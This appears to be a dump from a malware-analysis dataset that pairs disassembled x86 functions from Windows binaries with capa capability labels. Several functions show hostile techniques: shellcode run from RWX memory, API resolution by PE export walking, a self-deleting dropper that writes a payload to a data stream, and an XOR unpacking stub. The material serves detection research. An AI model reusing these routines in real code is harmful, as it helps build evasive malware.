joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
mov edx, dword [0x100d2488]
mov dword [esp], 0x4468336a
mov dword [esp + 4], 0xcb112233
mov dword [esp + 8], 0xbe485756
mov dword [esp + 0xc], 0x55667788
mov dword [esp + 0x10], 0x11223344
mov dword [esp + 0x14], 0x7788bf48
mov dword [esp + 0x18], 0x33445566
mov dword [esp + 0x1c], 0xb9481122
mov dword [esp + 0x20], 0x55667788
mov dword [esp + 0x24], 0x11223344
mov dword [esp + 0x28], 0x5e5fa4f3
mov dword [esp + 0x2c], 0x4468236a
mov dword [esp + 0x30], 0x48112233
mov word [esp + 0x34], 0xc3cb
test edx, edx
jne 0x100010a6
push esi
push edi
push 0x40
push 0x3000
push 0x36
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
lea esi, [esp + 8]
mov ecx, 0xd
mov dword [0x100d2488], edx
mov edi, edx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
pop edi
pop esi
mov eax, dword [esp + 0x44]
lea ecx, [edx + 8]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x3c]
mov dword [edx + 3], ecx
mov ecx, dword [esp + 0x48]
mov dword [edx + 0x16], eax
mov eax, dword [esp + 0x4c]
mov dword [edx + 0x10], ecx
mov ecx, dword [esp + 0x40]
mov dword [edx + 0x20], eax
lea eax, [edx + 0x35]
mov dword [edx + 0x1a], ecx
mov ecx, dword [esp + 0x50]
mov dword [edx + 0x24], ecx
mov dword [edx + 0x2f], eax
add esp, 0x38
jmp edx
Function at 0x100010f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x54
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x20], 0x223344be
mov ecx, dword [0x100d248c]
mov dword [esp + 0x24], 0x68336a11
mov dword [esp + 0x28], 0x11223344
mov dword [esp + 0x2c], 0x8b4865cb
mov dword [esp + 0x30], 0x602504
mov dword [esp + 0x34], 0x48670000
mov dword [esp + 0x38], 0x236a0689
mov dword [esp + 0x3c], 0x22334468
mov dword [esp + 0x40], 0xc3cb4811
test ecx, ecx
jne 0x1000117c
push 0x40
push 0x3000
push 0x24
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0x24
push 0
lea ecx, [esp + 0x2c]
mov dword [0x100d248c], eax
push ecx
push 0
push eax
call section..text
mov ecx, dword [0x100d248c]
add esp, 0x18
lea eax, [esp + 0x10]
mov dword [ecx + 1], eax
lea eax, [ecx + 0xd]
mov dword [ecx + 8], eax
lea eax, [ecx + 0x23]
mov dword [ecx + 0x1d], eax
call ecx
mov ecx, dword [esp + 0x10]
lea ebx, [esp + 0x10]
mov eax, dword [esp + 0x14]
add ecx, 0x18
push 0
push 8
adc eax, 0
push eax
push ecx
push 0
push ebx
call section..text
mov ebp, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
add ebp, 0x10
push 0
push 8
adc esi, 0
push esi
push ebp
push 0
push ebx
call section..text
mov ecx, dword [esp + 0x40]
add esp, 0x30
mov eax, dword [esp + 0x14]
cmp ebp, ecx
jne 0x100011e0
cmp esi, eax
je 0x1000125b
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push 0
add ecx, 0x60
lea edx, [esp + 0x1c]
push 8
adc eax, 0
push eax
push ecx
push 0
push edx
call section..text
mov ecx, dword [esp + 0x30]
add esp, 0x18
mov edx, dword [esp + 0x1c]
mov eax, ecx
or eax, edx
je 0x10001230
push 0
push 0x3c
push edx
push ecx
lea eax, [esp + 0x30]
push 0
push eax
call section..text
add esp, 0x18
lea eax, [esp + 0x20]
push eax
push edi
call ebx
test eax, eax
je 0x10001267
push 0
push 8
push dword [esp + 0x1c]
lea eax, [esp + 0x1c]
push dword [esp + 0x1c]
push 0
push eax
call section..text
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov eax, dword [esp + 0x14]
cmp ebp, ecx
jne 0x100011e6
cmp esi, eax
jne 0x100011e6
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret
Function at 0x10001280
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0x10]
cmp ebx, 4
jae 0x1000129a
mov ebx, 4
mov dword [ebp + 0x10], ebx
mov edx, dword [0x100d24a0]
and bl, 1
shl bl, 3
test edx, edx
jne 0x100012db
push 0x40
push 0x3000
push 0x7a
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0x7a
push 0
push 0x100d2400
push 0
push eax
mov dword [0x100d24a0], eax
call section..text
mov edx, dword [0x100d24a0]
add esp, 0x18
lea eax, [edx + 8]
mov byte [edx + 0x14], bl
mov dword [edx + 3], eax
mov eax, dword [ebp + 0x10]
cmp eax, 4
jbe 0x100012f1
add eax, 0xfffffffc
jmp 0x100012f3
xor eax, eax
mov ecx, dword [ebp + 0xc]
mov byte [edx + 0x1b], al
mov eax, dword [ebp + 0x10]
mov dword [edx + 0x57], ecx
lea eax, [ebp + eax*8 + 0xc]
mov dword [edx + 0x22], eax
mov eax, dword [ebp + 8]
mov dword [edx + 0x53], eax
mov eax, dword [ebp + 0x10]
cmp eax, 4
jbe 0x1000131d
lea eax, [eax*8 - 0x20]
jmp 0x1000131f
xor eax, eax
add al, 0x20
mov byte [edx + 0x60], al
lea eax, [esp + 8]
mov dword [edx + 0x68], eax
lea eax, [edx + 0x79]
mov dword [edx + 0x73], eax
call edx
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001340
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1fc
push ebx
push ebp
push esi
mov esi, dword [esp + 0x210]
lea eax, [esp + 0x7c]
push edi
mov edi, dword [esp + 0x210]
push 0
push 0x40
push esi
push edi
push 0
push eax
mov dword [esp + 0x68], ecx
call section..text
mov eax, dword [esp + 0xd4]
cdq
push 0
add eax, edi
push 0x108
adc edx, esi
push edx
push eax
lea eax, [esp + 0x128]
push 0
push eax
call section..text
mov ecx, dword [esp + 0x1b8]
xor eax, eax
push 0
add ecx, edi
push 0x28
adc eax, esi
push eax
push ecx
lea eax, [esp + 0x98]
push 0
push eax
call section..text
xor ebx, ebx
add esp, 0x48
cmp dword [esp + 0x70], ebx
jbe 0x1000150c
jmp 0x100013d0
mov edx, dword [0x100d2488]
lea ebp, [ebx*4]
xor eax, eax
mov dword [esp + 0x14], 0x4468336a
add ebp, dword [esp + 0x78]
mov dword [esp + 0x18], 0xcb112233
adc eax, eax
mov dword [esp + 0x1c], 0xbe485756
add ebp, edi
mov dword [esp + 0x20], 0x55667788
mov dword [esp + 0x24], 0x11223344
adc eax, esi
mov dword [esp + 0x28], 0x7788bf48
mov dword [esp + 0x4c], eax
mov dword [esp + 0x2c], 0x33445566
mov dword [esp + 0x30], 0xb9481122
mov dword [esp + 0x34], 0x55667788
mov dword [esp + 0x38], 0x11223344
mov dword [esp + 0x3c], 0x5e5fa4f3
mov dword [esp + 0x40], 0x4468236a
mov dword [esp + 0x44], 0x48112233
mov word [esp + 0x48], 0xc3cb
test edx, edx
jne 0x10001499
push 0x40
push 0x3000
push 0x36
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
lea esi, [esp + 0x14]
mov ecx, 0xd
mov eax, dword [esp + 0x4c]
mov edi, edx
mov dword [0x100d2488], edx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [esp + 0x214]
mov edi, dword [esp + 0x210]
mov dword [edx + 0x10], eax
lea ecx, [edx + 8]
lea eax, [esp + 0x54]
mov dword [edx + 3], ecx
mov dword [edx + 0x16], eax
lea eax, [edx + 0x35]
mov dword [edx + 0xc], ebp
mov dword [edx + 0x1a], 0
mov dword [edx + 0x20], 4
mov dword [edx + 0x24], 0
mov dword [edx + 0x2f], eax
call edx
mov ecx, dword [esp + 0x54]
xor eax, eax
push 0
add ecx, edi
push 0x40
adc eax, esi
push eax
push ecx
lea eax, [esp + 0xd0]
push 0
push eax
call section..text
add esp, 0x18
lea eax, [esp + 0xc0]
push dword [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1000151b
inc ebx
cmp ebx, dword [esp + 0x70]
jb 0x100013d0
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fc
ret
xor eax, eax
lea ecx, [ebx + ebx]
add ecx, dword [esp + 0x7c]
push 0
adc eax, eax
add ecx, edi
push 2
adc eax, esi
push eax
push ecx
lea eax, [esp + 0x5c]
push 0
push eax
call section..text
movzx ecx, word [esp + 0x64]
xor eax, eax
shl ecx, 2
add ecx, dword [esp + 0x8c]
push 0
adc eax, eax
add ecx, edi
push 4
adc eax, esi
push eax
push ecx
lea eax, [esp + 0x78]
push 0
push eax
call section..text
mov eax, dword [esp + 0x80]
add esp, 0x30
xor edx, edx
add eax, edi
adc edx, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fc
ret
Function at 0x10001990
Capabilities:
Delete file
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x110
lea eax, [esp + 8]
mov ecx, 0x105
push ebx
push ebp
push esi
push edi
lea esp, [esp]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x100019b0
push 0x104
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x18]
push eax
push str._s:Data
push 0x105
push eax
call fcn.10001950
add esp, 0x10
mov dword [esp + 0x14], 0
lea eax, [esp + 0x18]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001b4e
push 0
lea eax, [esp + 0x18]
push eax
push 0xcf400
push section..data
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10001a3e
cmp dword [esp + 0x14], 0xcf400
jne 0x10001b4e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x100d2490]
mov eax, ecx
mov edx, dword [0x100d2494]
or eax, edx
jne 0x10001ab3
call fcn.10001580
mov esi, eax
mov edi, edx
mov eax, dword [0x100d2498]
mov ecx, eax
mov edx, dword [0x100d249c]
or ecx, edx
jne 0x10001a90
call fcn.10001580
push edx
push eax
mov ecx, str.GetProcAddress
call fcn.10001340
add esp, 8
mov dword [0x100d2498], eax
mov dword [0x100d249c], edx
push 0
push str.LoadLibraryA
push edi
push esi
push 2
push edx
push eax
call fcn.10001280
mov ecx, eax
mov dword [0x100d2494], edx
add esp, 0x1c
mov dword [0x100d2490], ecx
push 0
lea eax, [esp + 0x1c]
push eax
push 1
push edx
push ecx
call fcn.10001280
mov edi, dword [0x100d2498]
add esp, 0x14
mov ecx, dword [0x100d249c]
mov esi, edi
or esi, ecx
mov ebx, eax
mov ebp, edx
jne 0x10001b00
call fcn.10001580
push edx
push eax
mov ecx, str.GetProcAddress
call fcn.10001340
mov edi, eax
mov ecx, edx
add esp, 8
mov dword [0x100d2498], edi
mov dword [0x100d249c], ecx
mov eax, str.prepare
cdq
push edx
push eax
push ebp
push ebx
push 2
push ecx
push edi
call fcn.10001280
push 0
push edx
push eax
call fcn.10001280
add esp, 0x28
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x405c8c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422aa4], 0
push esi
jne 0x405cc3
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405c9d
mov dword [ecx*4 + 0x422aa0], eax
inc ecx
cmp ecx, 0x100
jl 0x405c98
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405cf4
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422aa0]
xor eax, esi
inc ecx
dec edx
jne 0x405cd6
pop edi
not eax
pop esi
ret 0xc

Function at 0x47e2de
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
push ebp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add dl, dl
jne 0x47e2fb
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x47e2ec
add dl, dl
jne 0x47e306
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x47e352
xor eax, eax
add dl, dl
jne 0x47e313
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x47e3ef
add dl, dl
jne 0x47e322
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x47e32d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x47e338
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x47e343
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x47e34d
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
jmp 0x47e2f2
mov eax, 1
add dl, dl
jne 0x47e360
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x47e36b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x47e357
sub eax, 2
jne 0x47e39a
mov ecx, 1
add dl, dl
jne 0x47e380
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x47e38b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x47e377
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x47e2f2
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x47e3b1
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x47e3bc
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x47e3a8
cmp eax, 0x7d00
jae 0x47e3df
cmp eax, 0x500
jb 0x47e3da
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x47e2f2
cmp eax, 0x7f
ja 0x47e3e2
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x47e2f2
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x47e40b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x47e2f2
pop ebp
sub edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
popal
pop ebp
ret 8
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x7fe83efb
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x23057c9a
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401010
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x5655c8]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x401060
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x40105a
shr eax, 8
cmp al, 2
jne 0x40105a
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fdfc5
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 2
call fcn.004fdfc5
mov esp, ebp
pop ebp
ret
Function at 0x40bab0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x40bae3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
xor eax, eax
pop ebp
ret

Function at 0x40bc20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [esi + 0x1a8]
test ecx, ecx
je 0x40bc42
mov edx, dword [esi + 0x134]
push edx
mov edx, dword [ebp + 8]
push ebx
push edx
push eax
push esi
call ecx
add esp, 0x14
pop ebp
ret
test eax, eax
js 0x40bc7b
cmp eax, 2
jg 0x40bc7b
mov ecx, dword [esi + 0x130]
push edi
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push ecx
push 1
lea edx, [eax + eax*2 + 0x52ef20]
push 2
push edx
call edi
mov eax, dword [esi + 0x130]
mov ecx, dword [ebp + 8]
push eax
push 1
push ebx
push ecx
call edi
add esp, 0x20
pop edi
xor eax, eax
pop ebp
ret

Function at 0x40bf50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + eax*4 + 0x154]
push edi
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [ebp + 0x18]
mov edi, eax
mov dword [ebx], 0
cmp edi, 0xffffffff
jne 0x40bfcc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp + 8], eax
cmp eax, 0x2733
jne 0x40bfa1
pop edi
pop esi
mov dword [ebx], 0x51
xor eax, eax
pop ebx
pop ebp
ret
push eax
push esi
call fcn.00411930
push eax
mov eax, dword [esi]
push str.Send_failure:__s
push eax
call fcn.0040bde0
mov ecx, dword [esi]
mov edx, dword [ebp + 8]
mov dword [ecx + 0x860c], edx
add esp, 0x14
mov dword [ebx], 0x37
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40df30
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x5655c8]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp dword [esi + 0x46c], eax
push 4
lea ecx, [ebp - 0x14]
push ecx
setne al
push 8
push 0xffff
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x40df83
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.0040bd60
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fdfc5
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x470]
push edx
mov dword [ebp - 0x10], 1
call fcn.00425c20
imul eax, eax, 0x3e8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x474]
push eax
call fcn.00425c20
imul eax, eax, 0x3e8
add esp, 8
push 0
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0
push 0xc
lea edx, [ebp - 0x10]
push edx
push 0x98000004
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x40dff5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.0040bd60
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fdfc5
mov esp, ebp
pop ebp
ret
Function at 0x40e670
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x5655c8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x8c], 2
mov ebx, dword [esi]
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x110], ebx
je 0x40e84c
cmp dword [esi + 0x1d8], 0
push edi
jne 0x40e842
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x104]
push ecx
push edi
mov dword [ebp - 0x10c], 0x80
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x40e707
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.00411930
push eax
push edi
push str.getpeername___failed_with_errno__d:__s
push ebx
call fcn.0040bde0
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fdfc5
mov esp, ebp
pop ebp
ret
push 0x80
lea edx, [ebp - 0x84]
push 0
push edx
mov dword [ebp - 0x10c], 0x80
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x84]
push ecx
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x40e770
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.00411930
push eax
push edi
push str.getsockname___failed_with_errno__d:__s
push ebx
call fcn.0040bde0
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fdfc5
mov esp, ebp
pop ebp
ret
lea edi, [esi + 0xb8]
lea ebx, [esi + 0xe8]
lea esi, [ebp - 0x104]
mov dword [ebp - 0x114], edi
call fcn.0040e630
test eax, eax
jne 0x40e7cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x108]
mov esi, eax
push esi
push edx
call fcn.00411930
push eax
mov eax, dword [ebp - 0x110]
push esi
push str.ssrem_inet_ntop___failed_with_errno__d:__s
push eax
call fcn.0040bde0
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fdfc5
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x108]
mov esi, dword [ebp - 0x114]
lea edi, [eax + 0x58]
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ebx, [eax + 0x11c]
lea edi, [eax + 0xec]
lea esi, [ebp - 0x84]
call fcn.0040e630
test eax, eax
jne 0x40e83c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x108]
mov esi, eax
push esi
push ecx
call fcn.00411930
mov edx, dword [ebp - 0x110]
push eax
push esi
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push edx
call fcn.0040bde0
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fdfc5
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x108]
push esi
call fcn.0040e5d0
add esp, 4
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004fdfc5
mov esp, ebp
pop ebp
ret